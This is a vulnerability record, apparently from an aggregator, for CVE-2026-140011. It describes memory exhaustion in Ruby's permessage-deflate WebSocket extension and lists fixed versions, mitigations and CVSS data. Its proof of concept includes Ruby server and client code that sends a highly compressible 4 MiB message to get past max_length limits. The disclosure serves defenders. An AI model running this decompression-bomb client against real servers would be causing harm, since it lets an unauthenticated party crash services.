{"id":"CVE-2026-140011","aliases":["GHSA-5qm2-87xf-x3ff"],"url":"https://o3.security/vulnerability/CVE-2026-140011","summary":"permessage-deflate-ruby: Memory exhaustion triggered by message decompression","details":"### Summary\n\nAn unauthenticated remote client can cause a server to allocate memory with a much larger size than the message sent over the wire, potentially bypassing configured message size limits. This may cause the server to run out of memory and crash.\n\n### Details\n\n[permessage-deflate][pmd-ruby] is used to add support for [compression extensions][pmd] to [websocket-driver][wd-ruby], [faye-websocket][fw-ruby] and other libraries based on these packages. A client with this extension activated can compress a very large message consisting of one byte repeated many times to around 1/1,000 of its original size before sending it to the server. Upon receiving such a message, the server will decompress it, and thereby allocate a buffer 1,000 times larger than the received WebSocket frame. The client may abuse this to cause the server to allocate such much that it runs out of memory and crashes. This is possible even if the client is using the most conservative possible parameters for the extension in terms of minimising `zlib` memory usage.\n\nIf a `:max_length` option has been set by [websocket-driver][wd-ruby] or [faye-websocket][fw-ruby], this is not passed on to the [permessage-deflate][pmd-ruby] extension. The extension fully decompresses the received message, and only after this has happened does [websocket-driver][wd-ruby] decide whether the message is too large.\n\nTo mitigate this, [permessage-deflate][pmd-ruby] has been updated to accept the `:max_length` option and enforce this as it consumes the `zlib` inflate output stream. For this to take effect, [websocket-extensions][we-ruby] and [websocket-driver][wd-ruby] must also be upgraded in order to forward the `:max_length` option to the extension.\n\nAlternatively, the vulnerability can be mitigated by removing the [permessage-deflate][pmd-ruby] extension from the server configuration.\n\n[pmd]: https://tools.ietf.org/html/rfc7692\n[pmd-ruby]: https://github.com/faye/permessage-deflate-ruby\n[we-ruby]: https://github.com/faye/websocket-extensions-ruby\n[wd-ruby]: https://github.com/faye/websocket-driver-ruby\n[fw-ruby]: https://github.com/faye/faye-websocket-ruby\n\n### Proof of concept\n\nA server is affected by this if it is running any WebSocket processing stack that includes this extension. For example, the following server uses the extension via `websocket-driver` with `max_length` set to 1 MiB.\n\n```rb\nrequire 'eventmachine'\nrequire 'websocket/driver'\nrequire 'permessage_deflate'\n\nmodule Connection\n  def initialize\n    @driver = WebSocket::Driver.server(self, :max_length => 1 << 20)\n    @driver.add_extension(PermessageDeflate)\n\n    @driver.on(:connect) { |ev| @driver.start if WebSocket::Driver.websocket? @driver.env }\n    @driver.on(:close)   { |ev| close_connection_after_writing }\n    @driver.on(:message) { |ev| p [:msg, ev.data.bytesize] }\n  end\n\n  def receive_data(data)\n    p [:io, data.bytesize]\n    @driver.parse(data)\n  end\n\n  def write(data)\n    send_data(data)\n  end\nend\n\nEM.run {\n  EM.start_server('127.0.0.1', 8000, Connection)\n}\n```\n\nA client can trigger a larger than expected allocation by sending a message that is larger than the server's configured `max_length`, for example:\n\n```rb\nrequire 'eventmachine'\nrequire 'websocket/driver'\nrequire 'permessage_deflate'\n\nmodule Connection\n  attr_accessor :url\n\n  def connection_completed\n    @driver = WebSocket::Driver.client(self)\n    @driver.add_extension(PermessageDeflate)\n\n    @driver.on(:open)  { |ev| @driver.binary(\"\\x00\" * (4 << 20)) }\n    @driver.on(:close) { |ev| p ev }\n\n    @driver.start\n  end\n\n  def receive_data(data)\n    @driver.parse(data)\n  end\n\n  def write(data)\n    send_data(data)\n  end\nend\n\nEM.run {\n  url = 'ws://127.0.0.1:8000/'\n  uri = URI.parse(url)\n\n  EM.connect(uri.host, uri.port, Connection) do |conn|\n    conn.url = url\n  end\n}\n```\n\nRunning this client will cause the server to print that it received 4,089 bytes, but did not emit a message event, and the client exits with this close event:\n\n```\n#<struct WebSocket::Driver::CloseEvent code=1009, reason=\"WebSocket frame length too large\">\n```\n\nAlthough the server rejects the message as too large, it will in fact have inflated it to its full size of 4 MiB before making this decision.\n\nAfter installing the patched release(s), the client will instead print:\n\n```\n#<struct WebSocket::Driver::CloseEvent code=1009, reason=\"permessage-deflate: WebSocket frame length too large after decompression\">\n```\n\nThe changed error message indicates that the extension is rejecting the message after `max_length` bytes have been output by `zlib`, and it stops consuming the output stream before the message is fully inflated.\n\n### Impact\n\nUsers running `permessage-deflate` on a server in a memory-constrained environment may be at risk of denial of service that can be triggered by an unauthenticated remote client. Users should upgrade packages as indicated by this advisory, or remove `permessage-deflate` from their configuration.","published":"2026-11-30T21:49:47.573Z","modified":"2026-12-01T21:02:40.619334954Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":{"score":0.00644,"percentile":0.52197,"asOf":"2026-12-01"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"RubyGems","name":"permessage_deflate","fixedVersion":"0.2.0"},{"ecosystem":"RubyGems","name":"websocket-extensions","fixedVersion":"0.2.0"},{"ecosystem":"RubyGems","name":"websocket-driver","fixedVersion":"0.9.0"}],"fix":{"url":"https://github.com/faye/permessage-deflate-ruby/commit/83539816ae34c6d9724e94f6390ea9dc06dc7b13","label":"faye/permessage-deflate-ruby@8353981"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/140xxx/CVE-2026-140011.json"},{"type":"ADVISORY","url":"https://github.com/faye/permessage-deflate-ruby/security/advisories/GHSA-5qm2-87xf-x3ff"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-140011"},{"type":"FIX","url":"https://github.com/faye/permessage-deflate-ruby/commit/83539816ae34c6d9724e94f6390ea9dc06dc7b13"},{"type":"FIX","url":"https://github.com/faye/websocket-driver-ruby/commit/31188c15cfbbb684f0dbd65192d95da14a6e9070"},{"type":"FIX","url":"https://github.com/faye/websocket-extensions-ruby/commit/634bb92a77388e4fc0c73a9e541d36c473fb5d82"},{"type":"PACKAGE","url":"https://github.com/faye/permessage-deflate-ruby"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-12-01T21:02:40.619334954Z"}}